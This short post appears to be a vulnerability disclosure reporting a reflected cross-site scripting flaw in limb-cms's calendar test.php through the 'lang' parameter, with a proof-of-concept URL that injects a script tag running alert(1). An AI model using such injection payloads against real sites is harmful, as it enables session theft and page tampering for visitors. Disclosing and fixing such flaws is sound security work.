XSS in lib/limb-cms/calendar/shared/js/test.php

[jgj212]

Here is a lib/limb-cms/calendar/shared/js/test.php about parameter lang.

POC:

http://your-web-root/lib/limb-cms/calendar/shared/js/test.php?lang="></script><script>alert(1);</script><

This poc will pop a window in FireFox browser.